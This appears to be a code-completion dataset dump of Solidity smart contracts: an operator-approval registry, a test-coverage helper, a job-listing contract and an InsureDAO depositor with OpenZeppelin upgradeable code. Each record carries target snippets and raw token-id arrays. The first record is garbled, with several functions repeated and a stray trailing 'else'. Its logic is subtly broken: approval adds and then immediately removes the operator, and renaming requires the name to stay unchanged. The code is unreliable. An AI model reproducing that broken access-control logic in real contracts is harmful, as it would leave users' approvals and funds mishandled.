(OperatorInfo memory operatorInfo) { if (isOperatorAllowed(operator)) { operatorInfo = OperatorInfo({ operator: operator, name: _operatorName[operator] }); } } function getAllowedOperators() external view returns (OperatorInfo[] memory operators) { operators = new OperatorInfo[](_allowedOperators.length()); for (uint256 i; i < _allowedOperators.length(); i++) { operators[i] = OperatorInfo({ operator: _allowedOperators.at(i), name: _operatorName[_allowedOperators.at(i)] }); } } function getAllowedOperators() external view returns (OperatorInfo[] memory operators) { operators = new OperatorInfo[](_allowedOperators.length()); for (uint256 i; i < _allowedOperators.length(); i++) { operators[i] = OperatorInfo({ operator: _allowedOperators.at(i), name: _operatorName[_allowedOperators.at(i)] }); } } function getAllowedOperators() external view returns (OperatorInfo[] memory operators) { operators = new OperatorInfo[](_allowedOperators.length()); for (uint256 i; i < _allowedOperators.length(); i++) { operators[i] = OperatorInfo({ operator: _allowedOperators.at(i), name: _operatorName[_allowedOperators.at(i)] }); } } function getOwnerApprovedOperators( address owner ) external view returns (OwnerOperatorInfo[] memory operators) { uint256 ownerOperatorCount = _operatorApprovals[owner].length(); operators = new OwnerOperatorInfo[](ownerOperatorCount); for (uint256 i; i < ownerOperatorCount; i++) { address operator = _operatorApprovals[owner].at(i); operators[i] = OwnerOperatorInfo({ operator: operator, name: _operatorName[operator], allowed: _allowedOperators.contains(operator) }); } } function getOwnerApprovedOperators( address owner ) external view returns (OwnerOperatorInfo[] memory operators) { uint256 ownerOperatorCount = _operatorApprovals[owner].length(); operators = new OwnerOperatorInfo[](ownerOperatorCount); for (uint256 i; i < ownerOperatorCount; i++) { address operator = _operatorApprovals[owner].at(i); operators[i] = OwnerOperatorInfo({ operator: operator, name: _operatorName[operator], allowed: _allowedOperators.contains(operator) }); } } function getOwnerApprovedOperators( address owner ) external view returns (OwnerOperatorInfo[] memory operators) { uint256 ownerOperatorCount = _operatorApprovals[owner].length(); operators = new OwnerOperatorInfo[](ownerOperatorCount); for (uint256 i; i < ownerOperatorCount; i++) { address operator = _operatorApprovals[owner].at(i); operators[i] = OwnerOperatorInfo({ operator: operator, name: _operatorName[operator], allowed: _allowedOperators.contains(operator) }); } } function addAllowedOperator( address newOperator, string memory operatorName ) external onlyOwner { require( !_allowedOperators.contains(newOperator), "operator already in allowed list" ); _allowedOperators.add(newOperator); _operatorName[newOperator] = operatorName; emit AllowedOperatorAdded(newOperator, operatorName, _msgSender()); } function removeAllowedOperator(address operator) external onlyOwner { require( _allowedOperators.contains(operator), "operator not in allowed list" ); string memory operatorName = _operatorName[operator]; _allowedOperators.remove(operator); delete _operatorName[operator]; emit AllowedOperatorRemoved(operator, operatorName, _msgSender()); } function updateOperatorName( address operator, string memory newName ) external onlyOwner { require( _allowedOperators.contains(operator), "operator not in allowed list" ); string memory oldName = _operatorName[operator]; require( keccak256(abi.encodePacked((newName))) == keccak256(abi.encodePacked((oldName))), "operator name unchanged" ); _operatorName[operator] = newName; emit OperatorNameUpdated(operator, oldName, newName, _msgSender()); } function _setApprovalToOperator( address owner, address operator, bool approved ) private { require( _allowedOperators.contains(operator), "operator not in allowed list" ); require(owner != operator, "approve to sender"); if (approved) { _operatorApprovals[owner].add(operator); _operatorApprovals[owner].remove(operator); } string memory operatorName = _operatorName[operator]; emit OperatorApproved(owner, operator, approved, operatorName); } function _setApprovalToOperator( address owner, address operator, bool approved ) private { require( _allowedOperators.contains(operator), "operator not in allowed list" ); require(owner != operator, "approve to sender"); if (approved) { _operatorApprovals[owner].add(operator); _operatorApprovals[owner].remove(operator); } string memory operatorName = _operatorName[operator]; emit OperatorApproved(owner, operator, approved, operatorName); } } else { }
2,988,035
[ 1, 5042, 3726, 20092, 903, 506, 10725, 329, 358, 1221, 3071, 326, 2282, 4894, 353, 326, 3410, 18, 7835, 326, 3726, 6835, 353, 279, 2537, 279, 11158, 639, 6835, 716, 1552, 4121, 326, 3410, 12613, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 11097, 26945, 353, 1665, 457, 639, 26945, 16, 14223, 6914, 288, 203, 565, 1450, 6057, 25121, 694, 364, 6057, 25121, 694, 18, 1887, 694, 31, 203, 203, 565, 6057, 25121, 694, 18, 1887, 694, 3238, 389, 8151, 24473, 31, 203, 565, 2874, 12, 2867, 516, 533, 13, 3238, 389, 9497, 461, 31, 203, 565, 2874, 12, 2867, 516, 6057, 25121, 694, 18, 1887, 694, 13, 3238, 389, 9497, 12053, 4524, 31, 203, 203, 203, 565, 445, 444, 23461, 774, 5592, 12, 2867, 3726, 16, 1426, 20412, 13, 1071, 288, 203, 3639, 389, 542, 23461, 774, 5592, 24899, 3576, 12021, 9334, 3726, 16, 20412, 1769, 203, 565, 289, 203, 203, 565, 445, 353, 5592, 5042, 12, 2867, 3726, 13, 1071, 1476, 1135, 261, 6430, 13, 288, 203, 3639, 327, 389, 8151, 24473, 18, 12298, 12, 9497, 1769, 203, 565, 289, 203, 203, 565, 445, 353, 31639, 5592, 12, 203, 3639, 1758, 3410, 16, 203, 3639, 1758, 3726, 203, 565, 262, 1071, 1476, 1135, 261, 6430, 13, 288, 203, 3639, 327, 203, 5411, 353, 5592, 5042, 12, 9497, 13, 597, 203, 5411, 389, 9497, 12053, 4524, 63, 8443, 8009, 12298, 12, 9497, 1769, 203, 565, 289, 203, 203, 565, 445, 24379, 12, 203, 3639, 1758, 3726, 203, 565, 262, 3903, 1476, 1135, 261, 5592, 966, 3778, 3726, 966, 13, 288, 203, 3639, 309, 261, 291, 5592, 5042, 12, 9497, 3719, 288, 203, 5411, 3726, 966, 273, 11097, 966, 12590, 203, 7734, 3726, 30, 3726, 16, 203, 7734, 508, 30, 389, 9497, 461, 63, 9497, 65, 2 ]
/** * In order to test some functionalities like Pausable::pausable() modifier, * it is required to add a contract to invoke them and get a full coverage on tests. */ pragma solidity 0.5.17; import "../connectors/loantoken/Pausable.sol"; import "../governance/Staking/SafeMath96.sol"; import "../mixins/EnumerableBytes32Set.sol"; import "../mixins/VaultController.sol"; import "../connectors/loantoken/AdvancedToken.sol"; import "../connectors/loantoken/LoanTokenLogicStorage.sol"; contract TestCoverage is Pausable, SafeMath96, VaultController, AdvancedToken, LoanTokenLogicStorage { /// @dev Pausable is currently an unused contract that still is operative /// because margin trade flashloan functionality has been commented out. /// In case it were restored, contract would become used again, so for a /// complete test coverage it is required to test it. function dummyPausableFunction() external pausable(msg.sig) { /// @dev do nothing, just to check if modifier is working } /// @dev This function should be located on Pausable contract in the case /// it has to be used again by flashloan restoration. function togglePause( string memory funcId, // example: "mint(uint256,uint256)" bool isPaused ) public { /// keccak256("Pausable_FunctionPause") bytes32 slot = keccak256( abi.encodePacked( bytes4(keccak256(abi.encodePacked(funcId))), uint256(0xa7143c84d793a15503da6f19bf9119a2dac94448ca45d77c8bf08f57b2e91047) ) ); // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, isPaused) } } /// @dev Testing internal functions of governance/Staking/SafeMath96.sol function testSafeMath96_safe32(uint256 n) public pure returns (uint32) { // Public wrapper for SafeMath96 internal function return safe32(n, "overflow"); } function testSafeMath96_safe64(uint256 n) public pure returns (uint64) { // Public wrapper for SafeMath96 internal function return safe64(n, "overflow"); } function testSafeMath96_safe96(uint256 n) public pure returns (uint96) { // Public wrapper for SafeMath96 internal function return safe96(n, "overflow"); } function testSafeMath96_sub96(uint96 a, uint96 b) public pure returns (uint96) { // Public wrapper for SafeMath96 internal function return sub96(a, b, "underflow"); } function testSafeMath96_mul96(uint96 a, uint96 b) public pure returns (uint96) { // Public wrapper for SafeMath96 internal function return mul96(a, b, "overflow"); } function testSafeMath96_div96(uint96 a, uint96 b) public pure returns (uint96) { // Public wrapper for SafeMath96 internal function return div96(a, b, "division by 0"); } using EnumerableBytes32Set for EnumerableBytes32Set.Bytes32Set; EnumerableBytes32Set.Bytes32Set internal aSet; function testEnum_AddRemove(bytes32 a, bytes32 b) public returns (bool) { aSet.addBytes32(a); return aSet.removeBytes32(b); } function testEnum_AddAddress(address a, address b) public returns (bool) { aSet.addAddress(a); return aSet.containsAddress(b); } function testEnum_AddAddressesAndEnumerate( address a, address b, uint256 start, uint256 count ) public returns (bytes32[] memory) { aSet.addAddress(a); aSet.addAddress(b); return aSet.enumerate(start, count); } /// @dev Wrapper to test internal function never called along current codebase function testVaultController_vaultApprove( address token, address to, uint256 value ) public { vaultApprove(token, to, value); } /// @dev mint wrapper w/o previous checks function testMint( address _to, uint256 _tokenAmount, uint256 _assetAmount, uint256 _price ) public { _mint(_to, _tokenAmount, _assetAmount, _price); } /// @dev wrapper for a function unreachable to tests function testStringToBytes32(string memory source) public pure returns (bytes32 result) { return stringToBytes32(source); } }
Public wrapper for SafeMath96 internal function
function testSafeMath96_div96(uint96 a, uint96 b) public pure returns (uint96) { return div96(a, b, "division by 0"); } using EnumerableBytes32Set for EnumerableBytes32Set.Bytes32Set; EnumerableBytes32Set.Bytes32Set internal aSet;
12,878,168
[ 1, 4782, 4053, 364, 14060, 10477, 10525, 2713, 445, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 1842, 9890, 10477, 10525, 67, 2892, 10525, 12, 11890, 10525, 279, 16, 2254, 10525, 324, 13, 1071, 16618, 1135, 261, 11890, 10525, 13, 288, 203, 202, 202, 2463, 3739, 10525, 12, 69, 16, 324, 16, 315, 2892, 1951, 635, 374, 8863, 203, 202, 97, 203, 203, 202, 9940, 6057, 25121, 2160, 1578, 694, 364, 6057, 25121, 2160, 1578, 694, 18, 2160, 1578, 694, 31, 203, 202, 3572, 25121, 2160, 1578, 694, 18, 2160, 1578, 694, 2713, 279, 694, 31, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.4.24; /// @title Listing /// @dev To an individual Job Listing, an job applicant can apply and employ can hire import "./JobApplicant.sol"; import "./JobApplicationLibrary.sol"; contract Listing { /* * Events */ event ListingApplied(JobApplicant _jobApplicantContract); event ListingChange(); /* * Data Storage * ------------ * WorkingHours * ResourceType * resourceRate * totalResourceRequired */ address public owner; address public ListingRegistry; // TODO: Define interface for real ListingRegistry ? // Assume IPFS defaults for hash: function:0x12=sha2, size:0x20=256 bits // See: https://ethereum.stackexchange.com/a/17112/20332 // This assumption may have to change in future, but saves space now bytes32 public ipfsHash; uint public workingHours; uint public resourceType; uint public resourceRate; uint public totalResourceRequired; uint public created; uint public expiration; // Hire[] public hiring; JobApplicant[] public applicants; constructor ( address _owner, bytes32 _ipfsHash, uint _resourceRate, uint _totalResourceRequired, uint _resourceType, uint _workingHours ) //////////////////////////////////////////////////////////////////////////////////////////////////////// // Data Structure //////////////////////////////////////////////////////////////////////////////////////////////////////// public { owner = _owner; ListingRegistry = msg.sender; // ListingRegistry(msg.sender); ipfsHash = _ipfsHash; resourceRate = _resourceRate; totalResourceRequired = _totalResourceRequired; resourceType = _resourceType; workingHours = _workingHours; created = now; expiration = created + 14 days; } //////////////////////////////////////////////////////////////////////////////////////////////////////// // Check whether, modifer is the contract owner of the listing //////////////////////////////////////////////////////////////////////////////////////////////////////// modifier isEmployer() { require(msg.sender == owner); _; } //////////////////////////////////////////////////////////////////////////////////////////////////////// // Listing Data //////////////////////////////////////////////////////////////////////////////////////////////////////// function data() public view returns (address _owner, bytes32 _ipfsHash, uint _resourceRate, uint _totalResourceRequired, uint _resourceType,uint _workingHours,uint _created, uint _expiration) { return (owner, ipfsHash, resourceRate, totalResourceRequired, resourceType, workingHours, created, expiration); } ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////// /// @dev ApplyToJob() --> An applicant can apply for a Job Listing ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////// function applyToJob() public payable { // Ensure that we are not past the expiration require(now < expiration); // Create Job Application contract JobApplicant applicant = JobApplicationLibrary.newApplicant(this, msg.sender); applicants.push(applicant); // TODO STAN: How to call function *AND* transfer value?? // applicant.pay.value(msg.value)(); emit ListingApplied(applicant); emit ListingChange(); } //////////////////////////////////////////////////////////////////////////////////////////////////////// /// @dev totalJobApplicants(): Return number of applicants for a given Job Listing //////////////////////////////////////////////////////////////////////////////////////////////////////// function totalJobApplicants() public constant returns (uint) { return applicants.length; } /// @dev getApplicant(): Return Job Application info for a given Job Listing /// @param _index the index of the Listing we want info about function getApplicant(uint _index) public constant returns (JobApplicant) { return ( applicants[_index] ); } //////////////////////////////////////////////////////////////////////////////////////////////////////// /// Hiring Contract Starts // //////////////////////////////////////////////////////////////////////////////////////////////////////// // function hireApplicant(uint _agentApply) // public // payable // { // // Ensure that this is not trying to hire more than required agents // // require(_agentApply <= totalResourceRequired); // // Ensure that we are not past the expiration // require(now < expiration); // // Create Job Application contract // JobApplicant applicant = JobApplicationLibrary.newApplicant(this, msg.sender); // // Count units as sold // //totalResourceRequired -= _agentApply; // applicants.push(applicant); // // TODO STAN: How to call function *AND* transfer value?? // // applicant.pay.value(msg.value)(); // emit ListingApplied(applicant); // emit ListingChange(); // } //////////////////////////////////////////////////////////////////////////////////////////////////////// /// @dev close(): Allows an employer to close the Job Listing from further applicants //////////////////////////////////////////////////////////////////////////////////////////////////////// function close() public isEmployer { totalResourceRequired = 0; emit ListingChange(); } //////////////////////////////////////////////////////////////////////////////////////////////////////// }
ListingRegistry(msg.sender);
ListingRegistry = msg.sender;
7,297,959
[ 1, 19081, 4243, 12, 3576, 18, 15330, 1769, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 987, 310, 4243, 202, 202, 33, 1234, 18, 15330, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.8.10; /*** *@title InsureDepositor *@author InsureDAO * SPDX-License-Identifier: MIT *@notice convert INSURE to vlINSURE. Lock deposited INSURE into VotingEscrow and aggregate veINSURE. */ import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol"; import '@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol'; import '@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol'; import "./Interfaces.sol"; import "./test/interfaces/pool/IOwnership.sol"; contract InsureDepositor is Initializable, UUPSUpgradeable, ERC20Upgradeable { using SafeERC20Upgradeable for IERC20Upgradeable; event SetGauge(address newGauge); event SetLockIncentive(uint256 newLockIncentive); address public insure; address public escrow; address public gauge; IOwnership public ownership; uint256 private constant MAXTIME = 4 * 365 * 86400; uint256 private constant WEEK = 7*86400; uint256 public lockIncentive; //incentive to users who spend gas to lock insure uint256 public constant FEE_DENOMINATOR = 10000; uint256 public incentiveInsure; uint256 public unlockTime; modifier onlyOwner() { require( ownership.owner() == msg.sender, "Caller is not allowed to operate" ); _; } function initialize( address _insure, address _escrow, address _ownership ) public initializer { require(_insure != address(0)); require(_escrow != address(0)); require(_ownership != address(0)); insure = _insure; escrow = _escrow; ownership = IOwnership(_ownership); __ERC20_init("Vote Locked Insure Token", "vlINSURE"); IERC20Upgradeable(insure).safeApprove(escrow, type(uint256).max); } ///@dev required by the OZ UUPS module function _authorizeUpgrade(address) internal override onlyOwner {} function initialLock() external onlyOwner{ uint256 veinsure = IERC20Upgradeable(escrow).balanceOf(address(this)); if(veinsure == 0){ uint256 unlockAt = block.timestamp + MAXTIME; uint256 unlockInWeeks = unlockAt / WEEK; //release old lock if exists _release(); //create new lock uint256 insureBalanceStaker = IERC20Upgradeable(insure).balanceOf(address(this)); _createLock(insureBalanceStaker, unlockAt); unlockTime = unlockInWeeks; } } function deposit(uint256 _amount, bool _lock, bool _stake) public { /** * @notice Deposit INSURE and get vlINSURE. This is irreversible. * @param _amount amount of INSURE to deposit * @param _lock true if lock INSURE * @param _stake true if user wants to stake into gauge. * @dev user has to call gauge.set_approve_deposit() first to set true on _stake */ require(_amount > 0,"!>0"); //transfer token to here IERC20Upgradeable(insure).safeTransferFrom(msg.sender, address(this), _amount); if(!_lock){ //defer lock cost to another user uint256 callIncentive = _amount * lockIncentive / FEE_DENOMINATOR; _amount = _amount - callIncentive; //add to a pool for lock caller incentiveInsure += callIncentive; }else{ _lockInsure(); if(incentiveInsure > 0){ //add the incentive tokens here so they can be staked together _amount = _amount + incentiveInsure; incentiveInsure = 0; } } if(!_stake){ //mint for msg.sender _mint(msg.sender, _amount); }else{ //mint here _mint(address(this), _amount); //stake for msg.sender IInsureGauge(gauge).deposit(_amount, msg.sender); } } function depositAll(bool _lock, bool _stake) external{ uint256 insureBal = IERC20Upgradeable(insure).balanceOf(msg.sender); deposit(insureBal, _lock, _stake); } function lockInsure() external { _lockInsure(); //mint incentives if(incentiveInsure > 0){ _mint(msg.sender, incentiveInsure); incentiveInsure = 0; } } //set functions function setGauge(address _gauge)external onlyOwner{ require(_gauge != address(0)); gauge = _gauge; _approve(address(this), _gauge, type(uint256).max); emit SetGauge(_gauge); } function setLockIncentive(uint256 _lockIncentive)external onlyOwner{ require(_lockIncentive < FEE_DENOMINATOR, "never be 100%"); lockIncentive = _lockIncentive; emit SetLockIncentive(_lockIncentive); } //internal functions function _lockInsure() internal { uint256 insureBalance = IERC20Upgradeable(insure).balanceOf(address(this)); if(insureBalance == 0){ return; } //increase amount _increaseAmount(insureBalance); uint256 unlockAt = block.timestamp + MAXTIME; uint256 unlockInWeeks = unlockAt / WEEK ; //increase time too if over 2 week buffer if(unlockInWeeks - unlockTime > 2){ _increaseTime(unlockAt); unlockTime = unlockInWeeks; } } function _createLock(uint256 _value, uint256 _unlockTime) internal returns(bool){ IInsureVoteEscrow(escrow).create_lock(_value, _unlockTime); return true; } function _increaseAmount(uint256 _value) internal returns(bool){ IInsureVoteEscrow(escrow).increase_amount(_value); return true; } function _increaseTime(uint256 _value) internal returns(bool){ IInsureVoteEscrow(escrow).increase_unlock_time(_value); return true; } function _release() internal returns(bool){ IInsureVoteEscrow(escrow).withdraw(); return true; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/UUPSUpgradeable.sol) pragma solidity ^0.8.0; import "../../interfaces/draft-IERC1822Upgradeable.sol"; import "../ERC1967/ERC1967UpgradeUpgradeable.sol"; import "./Initializable.sol"; /** * @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an * {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy. * * A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is * reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing * `UUPSUpgradeable` with a custom implementation of upgrades. * * The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism. * * _Available since v4.1._ */ abstract contract UUPSUpgradeable is Initializable, IERC1822ProxiableUpgradeable, ERC1967UpgradeUpgradeable { function __UUPSUpgradeable_init() internal onlyInitializing { } function __UUPSUpgradeable_init_unchained() internal onlyInitializing { } /// @custom:oz-upgrades-unsafe-allow state-variable-immutable state-variable-assignment address private immutable __self = address(this); /** * @dev Check that the execution is being performed through a delegatecall call and that the execution context is * a proxy contract with an implementation (as defined in ERC1967) pointing to self. This should only be the case * for UUPS and transparent proxies that are using the current contract as their implementation. Execution of a * function through ERC1167 minimal proxies (clones) would not normally pass this test, but is not guaranteed to * fail. */ modifier onlyProxy() { require(address(this) != __self, "Function must be called through delegatecall"); require(_getImplementation() == __self, "Function must be called through active proxy"); _; } /** * @dev Check that the execution is not being performed through a delegate call. This allows a function to be * callable on the implementing contract but not through proxies. */ modifier notDelegated() { require(address(this) == __self, "UUPSUpgradeable: must not be called through delegatecall"); _; } /** * @dev Implementation of the ERC1822 {proxiableUUID} function. This returns the storage slot used by the * implementation. It is used to validate that the this implementation remains valid after an upgrade. * * IMPORTANT: A proxy pointing at a proxiable contract should not be considered proxiable itself, because this risks * bricking a proxy that upgrades to it, by delegating to itself until out of gas. Thus it is critical that this * function revert if invoked through a proxy. This is guaranteed by the `notDelegated` modifier. */ function proxiableUUID() external view virtual override notDelegated returns (bytes32) { return _IMPLEMENTATION_SLOT; } /** * @dev Upgrade the implementation of the proxy to `newImplementation`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeTo(address newImplementation) external virtual onlyProxy { _authorizeUpgrade(newImplementation); _upgradeToAndCallUUPS(newImplementation, new bytes(0), false); } /** * @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call * encoded in `data`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeToAndCall(address newImplementation, 